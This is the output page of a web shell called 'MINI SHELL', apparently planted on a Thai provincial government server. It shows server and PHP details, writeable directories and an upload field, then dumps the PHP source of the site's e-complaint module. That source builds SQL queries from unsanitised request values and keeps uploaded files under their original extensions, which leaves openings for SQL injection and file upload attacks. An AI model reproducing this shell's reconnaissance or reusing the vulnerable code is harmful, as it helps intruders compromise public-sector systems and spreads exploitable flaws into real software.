MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/ecomplain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/ecomplain/sent_complain_20091022a.php
<?
session_start();
include "../../config/config.inc.php";
include("function/function.php");
if(!isset($session_username)){
header("Location: ../document/login.php");
}
include("header_menu.php");
//insert timeQuery
include("../../common/common_system.inc.php"); 
$ApplicationName="ecomplain"; 
$time_start = getmicrotime();  
//insert timeQuery
if($action == "SAVE"){
	$sql_u = "SELECT * FROM tbl_complain_approve WHERE runid='$key_id'";
	$result_u = mysql_db_query($dbname,$sql_u);
	$rs_u = mysql_fetch_assoc($result_u);

	if($date_ceosing != ""){
		$arr_d1 = explode("/",$date_ceosing);
		$date_ceosing = ($arr_d1[2]-543)."-".$arr_d1[1]."-".$arr_d1[0];
	}
	if($date_start != ""){
		$arr_d2 = explode("/",$date_start);
		$date_start = ($arr_d2[2]-543)."-".$arr_d2[1]."-".$arr_d2[0];

	}
	
		if($date_end != ""){
		$arr_d3 = explode("/",$date_end);
		$date_end = ($arr_d3[2]-543)."-".$arr_d3[1]."-".$arr_d3[0];

	}
	
		if($bookcode_date != ""){
		$arr_db = explode("/",$bookcode_date);
		$date_book = ($arr_db[2]-543)."-".$arr_db[1]."-".$arr_db[0];
		} else{$date_end="0000-00-00";}
$strSQL_up = "UPDATE tbl_complain_approve  SET subject_no_in='$subject_no_in', subject_no_out='$date_book',status_ceo='$status_offer',date_ceosing='$date_ceosing',date_start='$date_start',date_end='$date_end',date_late='$date_late' , date_late2='$date_late2' ,bookcode_date ='$date_book', bookcode='$bookcode'   WHERE runid='$key_id'";

/*subject_no_in
file_in
bookcode
bookcode_date
file_out
date_start*/

echo " $strSQL_up ";
echo " <pre> "; print_r($_POST) ; 
die; 


$Result_up = mysql_db_query($dbname,$strSQL_up); // update ข้อมูลติดตามเรื่องร้องเรียน
addlog("แก้ไขเรื่องร้องทุกข์ ที่ได้รับอนุมัติ ก่อนส่งให้หน่วยงานที่รับผิดชอบ",$app_id,$act2,$key_id); // add log

		
		if(!empty($file_in)){
							$file_n = (date("Ymd"))."_in_".randigit(5);
							$path_name = "../../attach_file/";
							$arrfileext = explode("." , $file_in_name) ; 
							$nmcount = count($arrfileext) - 1 ; 
							$file1ext = $arrfileext[$nmcount]  ;
							$server_filename = $file_n.".$file1ext" ;  
							$save_path = $path_name.$server_filename;
							if($rs_u[attach_sb_in] != "" and $rs_u[attach_sb_in] != NULL){
								@unlink($rs_u[attach_sb_in]);
							}
							
							if (copy( $file_in , $save_path )){
							$sql_up1 = "UPDATE tbl_complain_approve SET attach_sb_in='$save_path' WHERE runid='$key_id'";
							mysql_db_query($dbname,$sql_up1);
							}
		}// end if(!empty($file_in)){
		
			if(!empty($file_out)){
									$file_n1 = (date("Ymd"))."_out_".randigit(5);
									$path_name1 = "../../attach_file/";
									$arrfileext1 = explode("." , $file_out_name) ; 
									$nmcount1 = count($arrfileext1) - 1 ; 
									$file1ext1 = $arrfileext1[$nmcount1]  ;
									$server_filename1 = $file_n1.".$file1ext1" ;  
									$save_path1 = $path_name1.$server_filename1;
									if($rs_u[attach_sb_out] != "" and $rs_u[attach_sb_out] != NULL){
									@unlink($rs_u[attach_sb_out]);
					}

									if (copy( $file_out , $save_path1 )){
									$sql_up2 = "UPDATE tbl_complain_approve SET attach_sb_out='$save_path1' WHERE runid='$key_id'";
									mysql_db_query($dbname,$sql_up2);
									}
		
			}// end 	if(!empty($file_out)){
			
// ทำการลบรารการผู้รับก่อนก่อนทำการบันทึกส่ง
$sql_del = "DELETE  FROM tbl_complain_sent  WHERE com_app_id='$key_id'";
@mysql_db_query($dbname,$sql_del);
	
	for($j = 0 ; $j < count($org_id); $j++){
		$sql_sent = "REPLACE INTO tbl_complain_sent SET com_app_id='$key_id',owner_id='$session_staffid',org_id='$org_id[$j]',org_main='$org_main', org_etc_lbl = '$org_lbl'";
		$result_sent = mysql_db_query($dbname,$sql_sent);	
#		echo " <hr>  $sql_sent <br><Br> ";
		echo mysql_error() ; 
		
	}
	if ($result_sent ){ 
		//echo "act == ".$act5;die;
		addlog("ส่งเรื่องร้องเรียน-ร้องทุกข์ ในกับหน่วยงานที่รับผิดชอบ",$app_id,$act5,$key_id); // add log
		echo "
				<script language=\"javascript\">
				alert(\"ทำการบันทึกข้อมูลเรียบร้อยแล้ว\\n \");
				location.href='report_index.php?senttab=2';
				</script>
				";
		exit();
	} ################  END  if ($result_sent  != ""){ 
} // end if($action == "SAVE"){


if($action == "del_img_in"){
	$sql_img_in  = "SELECT * FROM tbl_complain_approve WHERE runid='$runid'";		
	$result_img_in = mysql_db_query($dbname,$sql_img_in);
	$rs_in = mysql_fetch_assoc($result_img_in);
		if($rs_in[attach_sb_in] != "" and $rs_in[attach_sb_in] != NULL){
			@unlink($rs_in[attach_sb_in]);
			$sql_cl = "update tbl_complain_approve SET attach_sb_in = ''  WHERE  runid='$runid'";
			@mysql_db_query($dbname,$sql_cl);
		}
		addlog("ลบไฟล์แนบหนังสือเข้าเรื่องร้องเรียน-ร้องทุกข์",$app_id,$act3,$rs_in[complain_id]); // add log
		echo "
				<script language=\"javascript\">
				location.href='sent_complain.php?senttab=2&runid=$runid';
				</script>
				";
		exit();

}

if($action == "del_img_out"){
	$sql_img_out  = "SELECT * FROM tbl_complain_approve WHERE runid='$runid'";		
	$result_img_out = mysql_db_query($dbname,$sql_img_out);
	$rs_out = mysql_fetch_assoc($result_img_out);
		if($rs_out[attach_sb_out] != "" and $rs_out[attach_sb_out] != NULL){
			@unlink($rs_out[attach_sb_out]);
			$sql_cl1 = "update tbl_complain_approve SET attach_sb_out = ''  WHERE  runid='$runid'";
			@mysql_db_query($dbname,$sql_cl1);
		}
		addlog("ลบไฟล์แนบหนังสือออกเรื่องร้องเรียน-ร้องทุกข์",$app_id,$act3,$rs_out[complain_id]); // add log
		echo "
				<script language=\"javascript\">
				location.href='sent_complain.php?senttab=2&runid=$runid';
				</script>
				";
		exit();

}


?><HTML>
<HEAD>
<TITLE><?=$show_title_comp?></TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<LINK href="../../common/style.css" type="text/css" rel="stylesheet" />
<SCRIPT language='javascript' src='daily_popcalendar.js'></SCRIPT>
<SCRIPT language='javascript' src='displayelement.js'></SCRIPT>
<STYLE type="text/css">
<!--
body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}
.style2 {color: #000000}
.style3 {color: #FF0000}
-->
</STYLE>

<SCRIPT LANGUAGE="JavaScript">
function CheckForm(){
	var f1 = document.form;	
	a =  Number(f1.date_late.value) ;
	missinginfo = "";
	missinginfo1 = "";

//	if (document.form.subject_no_in.value == "")  {missinginfo1 += "\n- กรุณากรอก เลขที่หนังสือ "; }	
	if (document.form.date_start.value == "")  {missinginfo1 += "\n- กรุณากรอก วันเริ่มต้น "; }	
	if (document.form.date_end.value == "")  {missinginfo1 += "\n- กรุณากรอก สิ้นสุด "; }	
	if (document.form.date_late.value == "")  {missinginfo1 += "\n- กรุณากรอก จำนวนวันที่แจ้งเตือน"; }		
	if (document.form.date_late.value  <= document.form.date_late2.value )  {missinginfo1 += "\n- วันที่แจ้งเตือน ครั้งที่ 1 ต้องมากกว่า ครั้งที่ 2"; }			
	
	if (a == null || !a.toString().match(/^[-]?\d*\.?\d*$/)){ missinginfo1 += "\n- กรุณากรอก วันที่แจ้งเตือนเป็นตัวเลขเท่านั้น "; }

	
	if (missinginfo1 != "") { 	
		missinginfo += "ไม่สามารถบันทึกข้อมูลได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n___________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
	}
}
</SCRIPT>
<SCRIPT language="javascript">
function popWindow(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow1(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow2(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}

</SCRIPT>
<SCRIPT language="javascript">


function MM_openBrWindow(theURL,winName,features) { //v2.0
		window.open(theURL,winName,features);
}

</SCRIPT>
</HEAD>
<BODY >
<TABLE width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" style="filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#144C85', EndColorStr='#ffffff');">
  <TR>
    <TD valign="top" background="bimg/bg1.gif" style="background-repeat: no-repeat; background-position:right bottom "><TABLE width="100%" border="0" cellpadding="0" cellspacing="0">
<TR><TD valign="top"></TD></TR>
      <TR>
        <TD valign="top" >
<FORM  action = "?" method ="post" enctype="multipart/form-data"  name="form" onSubmit="return CheckForm();" >
<?
	$sql_sel = "SELECT * FROM tbl_complain_approve  WHERE runid = '$runid'";
	$result_sel = mysql_db_query($dbname,$sql_sel);
	$rs = mysql_fetch_assoc($result_sel);
		
		if($rs[date_ceosing] != "0000-00-00" and $rs[date_ceosing] != "" and $rs[date_ceosing] != NULL){
			$arr1 = explode("-",$rs[date_ceosing]);
			$txt_date_ceosign =$arr1[2]."/".$arr1[1]."/".($arr1[0]+543);
		}
		if($rs[date_start] != "0000-00-00" and $rs[date_start] != "" and $rs[date_start] != NULL){
			$arr2 = explode("-",$rs[date_start]);
			$txt_date_start = $arr2[2]."/".$arr2[1]."/".($arr2[0]+543);
		}else{
			$txt_date_start = date("d/m")."/".(date("Y")+543);
			}
		if($rs[date_end] != "0000-00-00" and $rs[date_end] != "" and $rs[date_end] != NULL){
			$arr3 = explode("-",$rs[date_end]);
			$txt_date_end = $arr3[2]."/".$arr3[1]."/".($arr3[0]+543);
		}
		
		
		// กรณี้วันที่สิ้นสุดเป็นค่าว่างให้แสดงค่าวันปัจุบันโดยอัตโนมัติ
		if($txt_date_end != ""){
			$txt_date_end = $txt_date_end;
		}else{
			$txt_date_end = date("d/m")."/".(date("Y")+543);
		}
		//echo $txt_date_end;
?>
              <TABLE width="99%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
                <TR>
                  <TD colspan=3 align="left" valign="top" bgcolor="#8DA0C0"><B class="plink style2">ระบบติดตามเรื่องร้องเรียน</B></TD>
                </TR>
                
                <TR>
                  <TD width="24%" align="right" valign="top" class="link_back">ประเภทเรื่องร้องเรียน</TD>
                  <TD width="76%" align="left">
				  	<?
					$sql_type_pro = "SELECT * FROM tbl_type_problem WHERE type_id='$rs[type_problem]'";
					$result_type_pro = @mysql_db_query($dbname,$sql_type_pro);
					$rs_pro = @mysql_fetch_assoc($result_type_pro);
					echo $rs_pro[type_problem];

					?>				  </TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">เรื่องร้องเรียน</TD>
                  <TD align="left"><?=$rs[subject]?></TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">ผู้รับเรื่อง</TD>
                  <TD align="left">
				  <?
				  	$sql_person = "SELECT epm_staff.prename, epm_staff.staffname, epm_staff.staffsurname FROM epm_staff  WHERE staffid='$rs[owner_id]'";
					$result_person = mysql_db_query($dbname,$sql_person);
					$rs_p  = mysql_fetch_assoc($result_person);
					echo "$rs_p[prename]$rs_p[staffname] $rs_p[staffsurname]";
				  ?>				  </TD>
                </TR>
                <TR style="display:none">
                  <TD height="24" align="right" valign="top" class="link_back"><SPAN class="style3">*</SPAN>เลขที่หนังสือ</TD>
                  <TD align="left" valign="middle"> 
				  
<!------- 
				    <INPUT type="text" name="subject_no_in" size="30" id="subject_no_in" value="<?=$rs[subject_no_in]?>">
------------->                   
				    <input name="subject_no_in" type="text" id="subject_no_in" value="<?=$rs[subject_no_in]?>">
                  </TD>

                </TR>
                <TR>
                  <TD height="24" align="right" valign="top" class="link_back">แนบไฟล์หนังสือเข้า </TD>
                  <TD align="left" valign="middle"><LABEL>
                    <INPUT type="file" name="file_in" id="file_in">
                  </LABEL>
				  <? if($rs[attach_sb_in] != "" and $rs[attach_sb_in] != NULL){
				  	echo "<a href='$rs[attach_sb_in]' target='_blank'>
					<img src=\"../../images/attach.gif\" width=\"13\" height=\"12\" border=\"0\" alt=\"ไฟล์แนบเอกสารหนังสือเข้า\">$rs[subject_no_in]</a>&nbsp;&nbsp; 
					<a href='?action=del_img_in&runid=$rs[runid]'>
					<img src=\"../../images/delete.gif\" width=\"20\" height=\"18\" border=\"0\" alt=\"ลบเอกสารไฟล์แนบ\"></a>  ";  
				  }?>				  			  </TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">เสนอผู้ว่าราชการจังหวัด</TD>
                  <TD align="left" valign="top"><LABEL>
                   <INPUT name="status_offer" type="radio" value="0" checked>
                  ไม่เสนอ 
                  <INPUT name="status_offer" type="radio" value="1" <? if($rs[status_ceo] == 1){ echo "checked";}?>>
                  เสนอ</LABEL></TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">วันที่ลงนาม</TD>
                  <TD align="left" valign="top"><INPUT name="date_ceosing" type="text" onFocus="blur();" value="<?=$txt_date_ceosign?>" size="20" readonly>
                    <INPUT name="button2" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_ceosing, 'dd/mm/yyyy')" value='วัน เดือน ปี'></TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">อ้างอิงเลขที่หนังสือ</TD>
                  <TD align="left" valign="top"><input name="bookcode" type="text" id="textfield" size="15">
                    ลว.
                      <input name="bookcode_date" type="text" id="bookcode_date" size="20" readonly="readonly">
                      <INPUT type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.bookcode_date, 'dd/mm/yyyy')" value='วัน เดือน ปี'></TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">แนบไฟล์หนังสือออก</TD>
                  <TD align="left" valign="top"><LABEL>
                    <INPUT type="file" name="file_out"  id="file_out">
                  </LABEL>
			<? if($rs[attach_sb_out] != "" and $rs[attach_sb_out] != NULL){
				  	echo "<a href='$rs[attach_sb_out]' target='_blank'><img src=\"../../images/attach.gif\" width=\"13\" height=\"12\" border=\"0\" alt=\"ไฟล์แนบเอกสารหนังสือออก\">$rs[subject_no_out]</a>&nbsp;&nbsp; <a href='?action=del_img_out&runid=$rs[runid]'><img src=\"../../images/delete.gif\" width=\"20\" height=\"18\" border=\"0\" alt=\"ลบเอกสารไฟล์แนบ\"></a>";
				  }?>				  </TD>
                </TR>
                
                
                <TR>
                  <TD align="right" valign="top" class="link_back">วันเดือนปีหนังสือเข้า</TD>
                  <TD align="left" valign="top">
				  <INPUT name="date_start" type="text" onFocus="blur();" onBlur="calDate();"  value="<?=$txt_date_start?>" size="20" readonly>
<INPUT type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_start, 'dd/mm/yyyy')" value='วัน เดือน ปี'></TD>
                </TR>
				
                <TR>
                  <TD align="right" valign="top" class="link_back">ระยะเวลาดำเนินการ(วัน)</TD>
                  <TD align="left" valign="top">
				  <?
					function getDateDiff($date_start, $date_end) {
						if ( $date_start == $date_end ) return 1;
						return abs(( strtotime($date_end) - strtotime($date_start) ) / ( 60 * 60 * 24 )) + 1;
						}
				   // echo "($txt_date_start,$txt_date_end)";
				   if($rs[date_start]&&$rs[date_end]){
				   $txt_date_end_day=getDateDiff($rs[date_start],$rs[date_end]);
				   $txt_date_end_day--;
				  	}
					$date_long=($txt_date_end_day)?$txt_date_end_day:15;
					$text_add=strtotime("+$date_long day");
					$date_long_plus_end=date("d/m/",$text_add).(date("Y",$text_add)+543);
					$txt_date_end_str=($date_long)?" สิ้นสุดวันที่ ".$date_long_plus_end:$txt_date_end;
				  ?>
				  <INPUT name="date_end_day" type="text" onBlur="calDate();" value="<?=$date_long?>" size="5" maxlength="3" > 
				  วัน 
				  <SCRIPT language="javascript">					 
						 
						function calDate(){
						 var n=document.form.date_end_day.value;
						 var d=document.form.date_start.value;
						 if(d){
						 dArr = d.split('/');
						 day = dArr[0];
						 month = 1*dArr[1]-1;
						 year = dArr[2];
						 var myDate=new Date()
						 myDate.setFullYear(year,month,day);
						 myDate.setDate(myDate.getDate()+1*n);
//						 alert(myDate);
//						 alert(n);				
// ------------------------------------------------------------  หา อีก  x วัน เป็นวันอะไร		 
						 xday = n % 7  ; 							
						 weekday = today.getDay();
						 dueday1 =  weekday + xday  ;
						 dueday =  dueday1% 7    ;		
						if (dueday == 6) print1='เสาร์';		
						if (dueday == 0) print1='อาทิตย์';
						if (dueday == 1) print1='จันทร์';
						if (dueday == 2) print1='อังคาร';
						if (dueday == 3) print1='พุธ';
						if (dueday == 4) print1='พฤหัสบดี';
						if (dueday == 5) print1='ศุกร์';
						 			 
						 if(myDate.getDate()<9){ d1="0" + myDate.getDate();} else{ d1 = myDate.getDate(); } 
						 if(myDate.getMonth()<9){ m1="0" + (myDate.getMonth()+1);} else{ m1 = (myDate.getMonth()+1); }
							 next_week_html = d1  + "/" + m1 + "/" + myDate.getFullYear();							
//							 next_week_js = 
							 
//							 nextdayhtml
							 document.form.date_end.value= next_week_html ;
							 document.getElementById('show_text').innerHTML=" สิ้นสุดวัน" +print1 + " ที่ "+  next_week_html;
							 }
						}						 		  
				  </SCRIPT>				  
				  <SPAN id="show_text"><?=$txt_date_end_str?></SPAN>		  
				  <INPUT name="date_end" type="hidden"  value="<?=($txt_date_end)?$txt_date_end:7?>" size="20"   readonly>
<!--<INPUT type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.date_end, 'dd/mm/yyyy')" value='วัน เดือน ปี'>--></TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back"><SPAN class="style3">*</SPAN>วันแจ้งเตือนก่อนดำเนินการเสร็จ ครั้งที่ 1 </TD>
                  <TD align="left" valign="top"><LABEL>
<?
if ((int)$rs[date_late] == 0 ){
	$rs_date_late = 7 ; 
}else{
	$rs_date_late = $rs[date_late]  ; 	
} ########## END if ((int) $rs[date_late] == 0 ){

if ((int)$rs[date_late2] == 0 ){
	$rs_date_late2 = 3 ; 
}else{
	$rs_date_late2 = $rs[date_late2]  ; 	
} ########## END if ((int) $rs[date_late2] == 0 ){
?>
				  
                    <INPUT name="date_late" type="text" id="date_late" size="5" maxlength="2" value="<?=$rs_date_late?>">
                    วัน
                  </LABEL></TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back"><SPAN class="style3">*</SPAN>วันแจ้งเตือนก่อนดำเนินการเสร็จ ครั้งที่ 2 </TD>
                  <TD align="left" valign="top"><INPUT name="date_late2" type="text" id="date_late2" size="5" maxlength="2" value="<?=$rs_date_late2?>">
วัน </TD>
                </TR>
                <TR>
                  <TD align="right" valign="top" class="link_back">ส่งให้หน่วยงานหรือบุคคลที่เกี่ยวข้อง</TD>
                  <TD align="left" valign="top">
				  <TABLE width="70%" border="0" cellpadding="0" cellspacing="0">
                    <TR>
                      <TD align="center" valign="top" bgcolor="#000000"><TABLE width="100%" border="0" cellpadding="3" cellspacing="1">
                        <TR>
                          <TD width="91%" align="center" bgcolor="#BDC9F9"><STRONG>เลือกหน่วยงาน</STRONG></TD>
                          <TD width="9%" align="center" bgcolor="#BDC9F9"><STRONG>เจ้าภาพ</STRONG></TD>
                        </TR>
						<? // group_type == "1" คือเลือกเฉพาะ หน่วยงาน
				$sql_group = "SELECT * FROM org_staffgroup WHERE groupname NOT LIKE '%Guest%' AND groupname NOT LIKE '%Administrator%'  order by  groupname ASC ";
					$result_group = mysql_db_query($dbname,$sql_group);
					$i=0;
					while($rsg1 = mysql_fetch_assoc($result_group)){
						$bg_color = ($i%2)?'#F1F1F1':'FFFFFF';$i++;
						$sql_1 = "SELECT *  FROM tbl_complain_sent WHERE org_id='$rsg1[gid]' AND com_app_id='$runid'";
						$result1 = @mysql_db_query($dbname,$sql_1);
						$rsc = @mysql_fetch_assoc($result1);
							if($rsc[org_id] == $rsg1[gid]){$chk = "CHECKED";}else{$chk = "";}

						?>
                        <TR bgcolor="<?=$bg_color?>">
                          <TD><? echo "<INPUT TYPE='checkbox' NAME='org_id[]' id='list$i' VALUE='$rsg1[gid]' $chk > $rsg1[groupname]";?></TD>
                          <TD align="center" valign="middle"><LABEL>
                            <INPUT name="org_main" type="radio" value="<?=$rsg1[gid]?>" <? if($rsg1[gid] == $rsc[org_main]){ echo  "checked='checked'"; }?>>
                          </LABEL></TD>
                        </TR>
						<?
						}
						?>
                      </TABLE></TD>
                    </TR>
                  </TABLE></TD>
                </TR>
				<TR>
                  <TD align="right" valign="top" class="link_back">&nbsp;</TD>
                  <TD align="left" valign="top"><INPUT name="org_lbl" type="text" id="org_lbl" size="50" maxlength="200" )" >
                  <SPAN class="style4 style1"><EM>ระบุในกรณีส่งให้หน่วยงานหรือบุคคลที่เกี่ยวข้องอื่นๆ</EM></SPAN> </TD>
                </TR>
                <TR>
                  <TD colspan="2" align="center" valign="top" bgcolor="#BDC9F9">
                    <INPUT type="hidden" name="action" value="SAVE">
                    <INPUT type="hidden" name="key_id" value="<?=$runid?>">
                    <INPUT type="submit" name="Submit" value=" บันทึก ">
                    <INPUT type="reset" name="Submit2" value="ล้างข้อมูล">
                  <INPUT type="button" name="button" value="ยกเลิก" ONCLICK="location.href='report_index.php?senttab=2'"></TD>
                </TR>
              </TABLE>
            </FORM>
</TD>
      </TR>
	  <TR>
	  <TD>&nbsp;</TD>
	  </TR>
    </TABLE></TD>
  </TR>
</TABLE>

</BODY>
</HTML>
<?
//insert timeQuery
 $time_end = getmicrotime();
  writetime2db($timestart,$timeend);
//insert timeQuery
?>

Anon7 - 2021